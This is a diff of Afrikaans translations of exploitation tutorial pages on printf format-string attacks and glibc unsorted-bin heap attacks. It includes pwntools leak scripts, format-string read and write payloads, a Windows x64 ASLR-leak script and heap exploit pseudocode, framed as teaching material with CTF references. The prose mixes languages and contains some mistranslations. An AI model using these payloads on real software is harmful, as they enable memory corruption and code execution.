Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

src/binary-exploitation/format-strings/README.md

@@ -5,13 +5,13 @@
 
 ## Basiese Inligting
 
-In C **`printf`** is 'n funksie wat gebruik kan word om 'n string uit te druk. Die **eerste parameter** wat hierdie funksie verwag, is die **ruwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** in die ruwe teks te **vervang**.
+In C **`printf`** is 'n funksie wat gebruik kan word om 'n string te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **ruwe teks met die formaatspesifikators**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formaatspesifikators** in die ruwe teks te **vervang**.
 
 Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
 
-Die kwesbaarheid verskyn wanneer 'n **aanvaller se teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer wat misbruik maak van** die **printf format** string-vaardighede om te lees en om **enige data by enige adres (leesbaar/skryfbaar) te skryf**. Op hierdie manier kan hulle **willekeurige kode uitvoer**.
+Die kwesbaarheid verskyn wanneer 'n **aanvallerteks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat die printf format string vermoeëns misbruik** om enige data by enige adres **(leesbaar/skryfbaar)** te **lees** en te **skryf**. Hiermee kan **arbitrêre kode** uitgevoer word.
 
-#### Formateerders:
+#### Formaatspesifikators:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -30,12 +30,12 @@ char buffer[30];
 gets(buffer);  // Dangerous: takes user input without restrictions.
 printf(buffer);  // If buffer contains "%x", it reads from the stack.
 ```
-- Normale Gebruik:
+- Normale gebruik:
 ```c
 int value = 1205;
 printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
 ```
-- Met Ontbrekende Argumente:
+- Met ontbrekende argumente:
 ```c
 printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
 ```
@@ -52,28 +52,28 @@ fclose(output_file);
 return 0;
 }
 ```
-### **Toegang tot aanwysers**
+### **Toegang tot Aanwysers**
 
-Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n-de parameter (van die stack) te kies. Dus, as jy die 4de parameter van die stack met printf wil lees, kan jy dit so doen:
+Die formaat **`%<n>$x`**, waar `n` 'n nommer is, laat printf toe om die n-de parameter (van die stack) te kies. As jy dus die 4de parameter van die stack met printf wil lees, kan jy:
 ```c
 printf("%x %x %x %x")
 ```
-en jy sou van die eerste tot die vierde parameter lees.
+en jy sal vanaf die eerste tot die vierde param lees.
 
-Of jy kan dit so doen:
+Of jy kan ook doen:
 ```c
 printf("%4$x")
 ```
-en lees direk die vierde.
+and read directly the forth.
 
 Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
 
 > [!CAUTION]
-> `n attacker wat hierdie input beheer, sal in staat wees om` **add arbitrary address in the stack and make `printf` access them**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
+> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
 
 ## **Arbitrary Read**
 
-Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **address** te laat kry wat in die **n position** geleë is, dit te volg en **dit te print asof dit was 'n string** (print tot 'n 0x00 gevind word). Dus as die base address van die binary **`0x8048000`**, en ons weet dat die user input in die 4th position in die stack begin, is dit moontlik om die starting van die binary te print met:
+It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
 ```python
 from pwn import *
 
@@ -87,7 +87,7 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> Let wel dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie omdat die string 'n 0x00 aan die einde van daardie adres sal hê.
+> Neem asseblief kennis dat jy die adres 0x8048000 nie aan die begin van die invoer kan plaas nie omdat die string by 0x00 aan die einde van daardie adres cat sal word.
 
 ### Vind offset
 
@@ -126,38 +126,37 @@ p.close()
 ```
 </details>
 
-### How useful
+### Hoe nuttig
 
-Arbitrary reads kan nuttig wees vir:
+Arbitrary reads kan nuttig wees om:
 
-- **Dump** die **binary** vanaf geheue
+- **Dump** the **binary** from memory
-- **Access specific parts of memory where sensitive** **info** is stored (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Toegang tot spesifieke dele van memory waar sensitiewe** **inligting** gestoor word (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-Die formatter **`%<num>$n`** **skryf** die **aantal geskryfde bytes** na die **aangewese adres** in die <num> parameter op die stack. As 'n attacker soveel karakters kan skryf as hy wil met printf, sal hy in staat wees om **`%<num>$n`** 'n arbitrary getal na 'n arbitrary adres te laat skryf.
+Die formatter **`%<num>$n`** **skryf** die **aantal geskryfde bytes** na die **aangegewe adres** in die <num> parameter op die stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
 
-Gelukkig hoef jy nie 9999 "A"s by die invoer te voeg om die getal 9999 te skryf nie; dit is moontlik om die formatter **`%.<num-write>%<num>$n`** te gebruik om die getal **`<num-write>`** in die **adres waarna die `num` posisie wys** te skryf.
+Gelukkig is dit nie nodig om 9999 "A"s by die inset te voeg om die nommer 9999 te skryf nie; in plaas daarvan kan mens die formatter **`%.<num-write>%<num>$n`** gebruik om die nommer **`<num-write>`** te skryf in die **adres waarna die `num`-posisie wys**.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-Neem egter kennis dat gewoonlik, om 'n address' soos `0x08049724` (wat 'n HUGE number is om in een keer te skryf) te skryf, **word `$hn`** in plaas van `$n` gebruik. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie operasie twee keer uitgevoer: een keer vir die hoogste 2B van die address en nog 'n keer vir die laagste.
+Echter, let daarop dat gewoonlik om 'n adres te skryf soos `0x08049724` (wat 'n HUGE number is om terselfdertyd te skryf), **word `$hn` gebruik** in plaas van `$n`. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie bewerking twee keer uitgevoer, een keer vir die hoogste 2B van die adres en nog 'n keer vir die laagste.
 
-Dus laat hierdie kwesbaarheid toe om **enigiets in enige address te skryf (arbitrary write).**
+Daarom laat hierdie kwesbaarheid toe om **enige iets in enige adres te skryf (arbitrary write).**
-
-In hierdie voorbeeld is die doel om die **address** van 'n **function** in die **GOT**-tabel wat later aangeroep gaan word, te **oor skryf**. Alhoewel dit ook ander arbitrary write to exec-tegnieke kan misbruik:
 
+In hierdie voorbeeld is die doel om die **adres** van 'n **function** in die **GOT** tabel wat later aangeroep gaan word, te **oorskryf**. Alhoewel dit ander arbitrary write to exec techniques kan misbruik:
 
 {{#ref}}
 ../arbitrary-write-2-exec/
 {{#endref}}
 
-Ons gaan 'n **function** oor skryf wat sy **arguments** van die **user** ontvang en dit na die **`system`** **function** wys.\
+Ons gaan 'n **function** oorskryf wat sy **argumente** van die **user** ontvang en dit na die **`system`** **function** wys.\
-Soos vermeld, om die address te skryf is daar gewoonlik 2 stappe nodig: eers skryf jy 2 Bytes van die address en dan die ander 2. Hiervoor word **`$hn`** gebruik.
+Soos genoem, om die adres te skryf is gewoonlik 2 stappe nodig: eers skryf jy **2Bytes** van die adres en daarna die ander 2. Hiervoor word **`$hn`** gebruik.
 
-- **HOB** verwys na die 2 hoër bytes van die address
+- **HOB** word genoem vir die 2 hoër bytes van die adres
-- **LOB** verwys na die 2 laer bytes van die address
+- **LOB** word genoem vir die 2 laer bytes van die adres
 
 Dan, as gevolg van hoe format string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een.
 
@@ -171,9 +170,9 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Pwntools-sjabloon
+### Pwntools Sjabloon
 
-Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie tipe kwesbaarheid in:
+Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:
 
 
 {{#ref}}
@@ -201,26 +200,26 @@ p.interactive()
 ```
 ## Format Strings to BOF
 
-Dit is moontlik om die skryf-aksies van 'n format string kwetsbaarheid te misbruik om **in adresse van die stack te skryf** en 'n **buffer overflow** tipe kwesbaarheid uit te buit.
+Dit is moontlik om die write actions van 'n format string vulnerability te misbruik om **in adresse van die stack te skryf** en 'n **buffer overflow** tipe kwesbaarheid uit te buiten.
 
 
-## Windows x64: Format-string leak om ASLR te omseil (no varargs)
+## Windows x64: Format-string leak to bypass ASLR (no varargs)
 
-Op Windows x64 word die eerste vier integer/pointer parameters in registers deurgegee: RCX, RDX, R8, R9. In baie foutiewe call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments word voorsien nie, byvoorbeeld:
+Op Windows x64 word die eerste vier integer/pointer parameters in registers gegee: RCX, RDX, R8, R9. In baie buggy call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments verskaf nie, byvoorbeeld:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
 _snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 ```
-Omdat geen variadiese argumente oorgedra word nie, sal enige conversie soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter tydelike waarde ook al in R9 by die call-site is, sal uitgeprint word. In praktyk this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), wat gebruik kan word om die module base te herstel en ASLR te omseil.
+Omdat geen varargs deurgegee word nie, sal enige omskakeling soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter transiente waarde ook al in R9 by die call-site is, sal gedruk word. In die praktyk leaks dit dikwels 'n stabiele in-module pointer (e.g., 'n pointer na 'n local/global object wat voorheen in R9 geplaas is deur omringende kode of 'n callee-saved waarde), wat gebruik kan word om die module base te herstel en ASLR te omseil.
 
 Praktiese werkvloei:
 
-- Inspuit 'n onskadelike formaat soos "%p " heel aan die begin van die deur die aanvaller beheerste string sodat die eerste konversie uitgevoer word voordat enige filtering plaasvind.
+- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
-- Vang die leaked pointer, identifiseer die statiese offset van daardie objek binne die module (deur een keer te reverseer met simbole of 'n lokale kopie), en herstel die image base as `leak - known_offset`.
+- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
-- Herbruik daardie base om absolute adresse vir ROP gadgets en IAT entries op afstand te bereken.
+- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
 
-Voorbeeld (verkorte python):
+Example (abbreviated python):
 ```python
 from pwn import remote
 
@@ -232,27 +231,27 @@ leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
 base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
-Notes:
+Aantekeninge:
-- Die presiese offset om af te trek word een keer gevind tydens plaaslike reversing en daarna hergebruik (dieselfde binary/weergawe).
+- Die presiese offset om af te trek word een keer tydens local reversing gevind en daarna hergebruik (same binary/version).
-- As "%p" nie 'n geldige pointer op die eerste poging afdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere konversies ("%p %p %p") om ander argument registers/stack te bemonster.
+- As "%p" nie 'n geldige pointer op die eerste poging uitdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere conversions ("%p %p %p") om ander argument registers/stack te steekproef.
-- Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek.
+- Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family-implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek.
 
 Hierdie tegniek is uiters nuttig om ROP te bootstrap op Windows services wat met ASLR saamgestel is en geen voor die hand liggende memory disclosure primitives het nie.
 
-## Other Examples & References
+## Ander Voorbeelde & Verwysings
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, basiese gebruik van format strings om die flag vanaf die stack te leak (geen behoefte om die uitvoeringvloei te verander nie)
+- 32 bit, no relro, no canary, nx, no pie, basiese gebruik van format strings om die flag van die stack te leak (geen behoefte om die execution flow te verander nie)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string om die adres van `fflush` oor te skryf met die win-funksie (ret2win)
+- 32 bit, relro, no canary, nx, no pie, format string om die adres `fflush` oor te skryf met die win funksie (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei nog 1 keer teruglus) en die adres na `system` in die GOT-tabel te skryf wat na `strlen` wys. Wanneer die vloei teruggaan na main, word `strlen` met gebruikersinvoer uitgevoer en, aangesien dit na `system` wys, sal dit die deurgegewe opdragte uitvoer.
+- 32 bit, relro, no canary, nx, no pie, format string om 'n adres binne main in `.fini_array` te skryf (sodat die flow nog 1 keer teruglus) en die adres van `system` in die GOT-tabel te skryf wat na `strlen` wys. Wanneer die flow terugkeer na main, sal `strlen` met gebruikersinvoer uitgevoer word, en omdat dit na `system` wys, sal dit die gegewe opdragte uitvoer.
 
 
-## References
+## Verwysings
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -4,67 +4,68 @@
 
 ## Basiese Inligting
 
-Vir meer inligting oor wat 'n unsorted bin is, kyk hierdie blad:
+Vir meer inligting oor wat 'n unsorted bin is, kyk hierdie bladsy:
+
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted lists is in staat om die adres van `unsorted_chunks (av)` te skryf in die `bk` adres van die chunk. Daarom, as 'n aanvaller die adres van die `bk` pointer in 'n chunk binne die unsorted bin kan **wysig**, kan hy daardie adres in 'n arbitrêre adres **skryf**, wat nuttig kan wees om Glibc addresses te leak of sekere verdediging te omseil.
+Unsorted lists kan die adres na `unsorted_chunks (av)` skryf in die `bk`-adres van die chunk. Daarom, as 'n aanvaller die adres van die `bk`-pointer in 'n chunk binne die unsorted bin kan wysig, kan hy daardie adres na 'n ewekansige adres skryf, wat nuttig kan wees om Glibc-adresse te leak of sekere verdediging te omseil.
 
-Dus, basies laat hierdie aanval toe om **'n groot getal by 'n arbitrêre adres te stel**. Hierdie groot getal is 'n adres, wat 'n heap adres of 'n Glibc adres kan wees. 'n Tradisionele teiken was **`global_max_fast`** om toe te laat om fast bin bins met groter groottes te skep (en van 'n unsorted bin aanval na 'n fast bin aanval oor te gaan).
+Dus, basies laat hierdie aanval toe om 'n groot getal by 'n ewekansige adres te stel. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tradisionele teiken was `global_max_fast` om toe te laat dat fast bin bins met groter groottes geskep word (en van 'n unsorted bin attack na 'n fast bin attack oorgaan).
 
-- Moderne nota (glibc ≥ 2.39): `global_max_fast` het 'n 8‑bit globale geword. Blindelings 'n pointer daarheen skryf via 'n unsorted-bin write sal nabygeleë libc data beskadig en sal nie meer betroubaar die fastbin limiet optel nie. Verkies ander teikens of primitiewe wanneer jy teen glibc 2.39+ werk. Sien "Modern constraints" hieronder en oorweeg om te kombineer met ander tegnieke soos 'n [large bin attack](large-bin-attack.md) of 'n [fast bin attack](fast-bin-attack.md) eens jy 'n stabiele primitive het.
+- Modern note (glibc ≥ 2.39): `global_max_fast` het 'n 8‑bit global geword. Om blindelings 'n pointer daarheen te skryf via 'n unsorted-bin write sal aangrensende libc-data beskadig en sal nie meer betroubaar die fastbin-limiet verhoog nie. Verkies ander teikens of primitiewe teen glibc 2.39+. Sien "Modern constraints" hieronder en oorweeg om te kombineer met ander tegnieke soos 'n [large bin attack](large-bin-attack.md) of 'n [fast bin attack](fast-bin-attack.md) sodra jy 'n stabiele primitive het.
 
 > [!TIP]
-> Neem 'n kyk na die voorbeeld in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) en deur 0x4000 en 0x5000 te gebruik in plaas van 0x400 en 0x500 as chunk groottes (om Tcache te vermy) is dit moontlik om te sien dat **deesdae** die fout **`malloc(): unsorted double linked list corrupted`** getrigger word.
+> Neem 'n kyk na die voorbeeld verskaf in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) en deur 0x4000 en 0x5000 in plaas van 0x400 en 0x500 as chunk-groottes te gebruik (om Tcache te vermy) is dit moontlik om te sien dat **deesdae** die fout **`malloc(): unsorted double linked list corrupted`** getrigger word.
+>
+> Daarom vereis hierdie unsorted bin attack nou (benewens ander kontroles) ook dat die dubbel gekoppelde lys reggemaak kan word sodat hierdie fout omseil word — d.w.s. die kontrole `victim->bk->fd == victim` of `victim->fd == av (arena)` moet slaag. Dit beteken dat die adres waarheen ons wil skryf die adres van die vals chunk in sy `fd`-posisie moet hê en dat die vals chunk se `fd` na die arena wys.
 >
-> Daarom vereis hierdie unsorted bin aanval nou (onder andere kontroles) ook dat jy die dubbelgekoppelde lys kan herstel sodat dit nie hierdie fout veroorsaak nie — byvoorbeeld `victim->bk->fd == victim` of `victim->fd == av (arena)` moet voldoen — wat beteken dat die adres waarheen ons wil skryf die adres van die vals chunk in sy `fd` posisie moet hê en dat die vals chunk se `fd` na die arena verwys.
-
 > [!CAUTION]
-> Let daarop dat hierdie aanval die unsorted bin korrupteer (dus ook small en large). Ons kan dus slegs nou **allerlei toewysings uit die fast bin gebruik** ('n meer komplekse program mag ander toewysings doen en crash), en om dit te trigger moet ons **dieselfde grootte toewys — anders sal die program crash.**
+> Let wel dat hierdie aanval die unsorted bin korrupteer (en dus ook small en large). Ons kan nou slegs toewysings uit die fast bin gebruik (nie-'n meer komplekse program wat ander toewysings doen en kan crash nie), en om dit te trigger moet ons dieselfde grootte toewys — anders sal die program crash.
 >
-> Oorskrywing van **`global_max_fast`** kan in hierdie geval help in die veronderstelling dat die fast bin al die ander toewysings kan hanteer totdat die exploit voltooi is.
+> Let ook dat die oor-skrywing van `global_max_fast` in hierdie geval kan help, aangesien die fast bin moontlik al die ander toewysings kan hanteer totdat die exploit voltooi is.
 
-Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed, alhoewel as jy die mallocs verander om geheue groot genoeg toe te ken sodat dit nie in 'n Tcache eindig nie, kan jy sien dat die vroeër genoemde fout verskyn wat hierdie tegniek verhoed: **`malloc(): unsorted double linked list corrupted`**
+Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed. As jy egter die mallocs aanpas om genoeg groot geheue te alokeer sodat dit nie in Tcache eindig nie, sal die voorheen genoemde fout verskyn en hierdie tegniek verhinder: **`malloc(): unsorted double linked list corrupted`**
 
-### Hoe die skryf werklik gebeur
+### Hoe die skryf werklik plaasvind
 
-- Die unsorted-bin skryf word geaktiveer tydens `free` wanneer die bevryde chunk by die kop van die unsorted lys geplaas word.
+- Die unsorted-bin write word getrigger by `free` wanneer die vrygelaat chunk aan die kop van die unsorted list ingevoeg word.
 - Tydens invoeging voer die allocator uit: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
 - As jy `victim->bk` kan stel na `(mchunkptr)(TARGET - 0x10)` voordat jy `free(victim)` aanroep, sal die finale stelling die skryf uitvoer: `*(TARGET) = victim`.
 - Later, wanneer die allocator die unsorted bin verwerk, sal integriteitskontroles (onder andere) verifieer dat `bck->fd == victim` en `victim->fd == unsorted_chunks(av)` voordat dit unlink. Omdat die invoeging reeds `victim` in `bck->fd` (ons `TARGET`) geskryf het, kan hierdie kontroles bevredig word as die skryf suksesvol was.
 
 ## Moderne beperkings (glibc ≥ 2.33)
 
-Om unsorted‑bin skrywe betroubaar op huidige glibc te gebruik:
+Om unsorted‑bin writes betroubaar op huidige glibc te gebruik:
 
-- Tcache inmenging: vir groottes wat in tcache val, word frees daarheen omgeleid en raak nie die unsorted bin nie. Of
+- Tcache-interferensie: vir groottes wat in tcache val, word frees daarheen omgelei en raak nie die unsorted bin nie. Of:
-  - maak versoeke met groottes > MAX_TCACHE_SIZE (≥ 0x410 op 64‑bit standaard), of
+  - maak versoeke met groottes > MAX_TCACHE_SIZE (≥ 0x410 op 64‑bit by verstek), of
-  - vul die ooreenstemmende tcache bin (7 inskrywings) sodat addisionele frees by die global bins uitkom, of
+  - vul die ooreenstemmende tcache-bin (7 inskrywings) sodat addisionele frees by die globale bins uitkom, of
   - as die omgewing beheerbaar is, deaktiveer tcache (bv. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Integriteitskontroles op die unsorted lys: op die volgende allocasie-pad wat die unsorted bin ondersoek, kontroleer glibc (vereenvoudig):
+- Integriteitskontroles op die unsorted list: op die volgende toewysingspad wat die unsorted bin ondersoek, kyk glibc (vereenvoudig):
   - `bck->fd == victim` en `victim->fd == unsorted_chunks(av)`; anders abort dit met `malloc(): unsorted double linked list corrupted`.
-- Dit beteken die adres wat jy teiken moet twee skrywe verdra: eers `*(TARGET) = victim` tydens free; later, wanneer die chunk verwyder word, `*(TARGET) = unsorted_chunks(av)` (die allocator skryf `bck->fd` terug na die binkop). Kies teikens waar dit nuttig is om bloot 'n groot nie‑nul waarde af te dwing.
+- Dit beteken dat die adres wat jy teiken twee skrywings moet verdra: eers `*(TARGET) = victim` tydens free; later, as die chunk verwyder word, `*(TARGET) = unsorted_chunks(av)` (die allocator skryf `bck->fd` terug na die binkop). Kies teikens waar die eenvoudige afdwing van 'n groot nie‑nul waarde nuttig is.
-- Tipiese stabiele teikens in moderne exploits
+- Tipiese stabiele teikens in moderne exploits:
-  - Aansoek- of globale toestand wat "groot" waardes as vlae/limiete behandel.
+  - Aplikasie- of globale state wat "groot" waardes as vlae/limiete hanteer.
-  - Indirekte primitiewe (bv. opstel vir 'n volgende [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) of om 'n latere write‐what‐where te pivot).
+  - Indirekte primitiewe (bv. opstel vir 'n daaropvolgende [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) of om later 'n write‑what‑where te pivot).
-  - Vermy `__malloc_hook`/`__free_hook` op nuwe glibc: dit is verwyder in 2.34. Vermy `global_max_fast` op ≥ 2.39 (sien vorige nota).
+  - Vermy `__malloc_hook`/`__free_hook` op nuwe glibc: dit is verwyder in 2.34. Vermy `global_max_fast` op ≥ 2.39 (sien volgende noot).
-- Oor `global_max_fast` op onlangse glibc
+- Oor `global_max_fast` op onlangse glibc:
-  - Op glibc 2.39+ is `global_max_fast` 'n 8‑bit globale. Die klassieke truuk om 'n heap pointer daarin te skryf (om fastbins te vergroot) werk nie meer netjies nie en sal waarskynlik nabygeleë allocator toestand beskadig. Verkies ander strategieë.
+  - Op glibc 2.39+ is `global_max_fast` 'n 8‑bit global. Die klassieke truuk om 'n heap-pointer daarin te skryf (om fastbins te vergroot) werk nie skoon nie en sal waarskynlik aangrensende allocator-state korrupteer. Verkies ander strategieë.
 
-## Minimale uitbuiting resep (moderne glibc)
+## Minimale exploit‑resep (moderne glibc)
 
-Doel: bereik 'n enkele arbitrêre skryf van 'n heap pointer na 'n arbitrêre adres deur gebruik van die unsorted‑bin invoegingsprimitive, sonder om te crash.
+Doel: behaal 'n enkele ewekansige skryf van 'n heap-pointer na 'n ewekansige adres deur die unsorted‑bin invoeg primitive te gebruik, sonder om te crash.
 
-- Layout/voorbereiding
+- Layout/grooming
-  - Allocate A, B, C met groottes groot genoeg om tcache te omseil (bv. 0x5000). C voorkom konsolidasie met die top chunk.
+  - Alokeer A, B, C met groottes groot genoeg om tcache te omseil (bv. 0x5000). C verhoed konsolidasie met die top chunk.
-- Korrupsie
+- Korruptie
   - Overflow van A in B se chunk header om `B->bk = (mchunkptr)(TARGET - 0x10)` te stel.
-- Aktivering
+- Trigger
   - `free(B)`. Tydens invoeging voer die allocator `bck->fd = B` uit, dus `*(TARGET) = B`.
 - Voortsetting
-  - As jy beplan om voort te gaan met toewysings en die program die unsorted bin gebruik, verwag dat die allocator later `*(TARGET) = unsorted_chunks(av)` sal stel. Albei waardes is tipies groot en kan genoeg wees om grootte/limiet semantiek in teikens wat slegs vir "groot" check, te verander.
+  - As jy beplan om voort te gaan met toewysings en die program gebruik die unsorted bin, verwag dat die allocator later `*(TARGET) = unsorted_chunks(av)` sal stel. Beide waardes is tipies groot en kan genoeg wees om grootte-/limiet‑semantiek in teikens te verander wat slegs vir "groot" nagaan.
 
 Pseudocode skeleton:
 ```c
@@ -79,33 +80,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • As jy nie tcache met grootte kan omseil nie, vul die tcache bin vir die gekose grootte (7 frees) voordat jy die gekorrupte chunk vrylaat sodat die free na unsorted gaan.
+> • As jy nie tcache met grootte kan omseil nie, vul die tcache bin vir die gekose grootte (7 frees) voordat jy die gecorrumpeerde chunk vrygee sodat die free na unsorted gaan.
-> • As die program onmiddellik op die volgende allocation abort weens unsorted-bin checks, ondersoek weer of `victim->fd` steeds gelyk is aan die bin head en dat jou `TARGET` die presiese `victim` pointer bevat na die eerste write.
+> • As die program onmiddellik op die volgende allocation abort weens unsorted-bin checks, ondersoek weer dat `victim->fd` steeds gelyk is aan die bin head en dat jou `TARGET` die presiese `victim` pointer hou na die eerste skryf.
 
 ## Unsorted Bin Infoleak Attack
 
-Dit is eintlik 'n baie basiese konsep. Die chunks in die unsorted bin gaan pointers hê. Die eerste chunk in die unsorted bin sal eintlik die **`fd`** en die **`bk`** links hê wat **wys na 'n deel van die main arena (Glibc)**.\
+Dit is eintlik 'n baie basiese konsep. Die chunks in die unsorted bin sal pointere hê. Die eerste chunk in die unsorted bin sal eintlik die **`fd`** en die **`bk`** skakels hê wat **na 'n deel van die main arena (Glibc) wys**.\
-Daarom, as jy **'n chunk in 'n unsorted bin kan sit en dit read** (use after free) of **dit weer kan allocate sonder om minstens een van die pointers oor te skryf** om dit daarna te **read**, kan jy 'n **Glibc info leak** hê.
+Dus, as jy 'n chunk in 'n unsorted bin kan plaas en dit kan lees (use after free) of dit weer kan allocate sonder om ten minste een van die pointere oor te skryf om dit daarna te lees, kan jy 'n Glibc info leak hê.
 
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was om 'n struktuur van 4 chunks (A, B, C en D - D is slegs om konsolidasie met die top chunk te voorkom) te misbruik, sodat 'n null byte overflow in B gebruik is om C te laat aandui dat B ongebruik was. Ook is in B die `prev_size` data gewysig sodat die grootte, in plaas daarvan om die grootte van B te wees, A+B was.\
+A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
-Daarna is C gedelf en gekonsolideer met A+B (maar B was steeds in gebruik). 'n Nuwe chunk van grootte A is gealloceer en toe is die libc leaked addresses in B geskryf vanwaar hulle geleak is.
+Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
 
-## Verwysings & Ander voorbeelde
+## References & Other examples
 
